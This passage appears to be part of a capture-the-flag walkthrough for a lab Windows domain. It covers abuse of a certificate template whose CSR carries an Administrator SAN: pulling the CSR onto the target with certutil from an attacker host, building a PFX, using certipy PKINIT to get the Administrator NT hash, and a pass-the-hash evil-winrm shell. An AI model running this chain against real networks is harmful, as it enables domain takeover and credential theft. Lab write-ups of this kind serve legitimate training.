<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FAkSF1TL0NmZ1tvUCetdw%2Fgrafik.png?alt=media&amp;token=4dce39bf-7e37-4d03-983e-2daf26567ad3" alt=""><figcaption></figcaption></figure>

Now Transfer the CSR to the target machine...

{% code overflow="wrap" expandable="true" %}

```
certutil -urlcache -split -f http://192.168.130.30:8000/admin.csr C:\Users\Public\admin.csr
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmNLaFYPficnQ9wDPNMyB%2Fgrafik.png?alt=media&amp;token=90032f82-c865-4359-9e3e-97162d24e784" alt=""><figcaption></figcaption></figure>

... and submit it. The cert is issued immediately. The `-attrib` flag specifies the template; the SAN is already baked into the CSR.

{% code overflow="wrap" expandable="true" %}

```
certreq -submit -attrib "CertificateTemplate:PrivClientAuth" -config "SRV01.rubberstamp.local\rubberstamp-SRV01-CA" C:\Users\Public\admin.csr C:\Users\Public\admin.cer
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FuUKWaEs1vU4sUOdq9M1J%2Fgrafik.png?alt=media&amp;token=87c8b0a8-6288-414d-922d-9db4ea46bf6f" alt=""><figcaption></figcaption></figure>

The issued cert on the target is DER-encoded. Next, we Base64-encode to be able to transfer it.

{% code overflow="wrap" expandable="true" %}

```
certutil -encode C:\Users\Public\admin.cer C:\Users\Public\admin.b64
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
type C:\Users\Public\admin.b64
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fazxfbu3GcdlNjdbUaTl1%2Fgrafik.png?alt=media&amp;token=5077f13e-5ddb-438a-9894-963e9d9feed6" alt=""><figcaption></figcaption></figure>

We copy the content to a `admin.b64` file and strip PEM headers and decode it.

{% code overflow="wrap" expandable="true" %}

```
grep -v "^-----" admin.b64 | tr -d '\n' | base64 -d > admin.cer
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FqkYGQbe5zNG0Plognh5j%2Fgrafik.png?alt=media&amp;token=c41c0080-da79-4dbf-8c11-c5cac27f16fe" alt=""><figcaption></figcaption></figure>

We verify the cert has the correct SAN:

{% code overflow="wrap" expandable="true" %}

```
openssl x509 -in admin.cer -noout -text | grep -A5 "Subject Alternative"
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FSInQyxp5pR8poH7SvkBW%2Fgrafik.png?alt=media&amp;token=1998f282-90e7-4831-9535-99a414b98678" alt=""><figcaption></figcaption></figure>

And verfiy the key matches:

{% code overflow="wrap" expandable="true" %}

```
openssl x509 -in admin.cer -noout -pubkey | md5sum
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
openssl rsa -in admin.key -pubout 2>/dev/null | md5sum
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmmwbG2Ah5euO15xi2XBN%2Fgrafik.png?alt=media&amp;token=a479aa58-e35b-47d8-b210-b93faf1a499b" alt=""><figcaption></figcaption></figure>

Finally we combine cert and the private key into a PFX.&#x20;

{% code overflow="wrap" expandable="true" %}

```
openssl pkcs12 -export -out admin.pfx \
  -inkey admin.key \
  -in admin.cer \
  -passout pass:
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FY5rc7LyDfZ8SfMwXBQ8Q%2Fgrafik.png?alt=media&amp;token=218b3f84-5d50-4b5a-ad0f-3b4fc8493d78" alt=""><figcaption></figcaption></figure>

We use certipy to perform PKINIT authentication and retrieve the Administrator NT hash:

{% code overflow="wrap" expandable="true" %}

```
certipy auth -pfx admin.pfx \
  -dc-ip 10.113.159.243 \
  -username Administrator \
  -domain rubberstamp.local
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmrF7AeJ2xwi2laOidZT6%2Fgrafik.png?alt=media&amp;token=cd4a348c-d1a8-464f-9bf0-94da743c43f6" alt=""><figcaption></figcaption></figure>

With the Administrator hash, we pass-the-hash to get a shell as Domain Admin and are able to retrieve the final flag at `C:\Users\Administrator\Desktop\root.txt`.

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i 10.113.159.243 -u administrator -H 'REDACTED'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FnKKVPA8AfYdqUUELnZuG%2Fgrafik.png?alt=media&amp;token=e063347d-b545-42b4-8c69-73809d78d9b2" alt=""><figcaption></figcaption></figure>
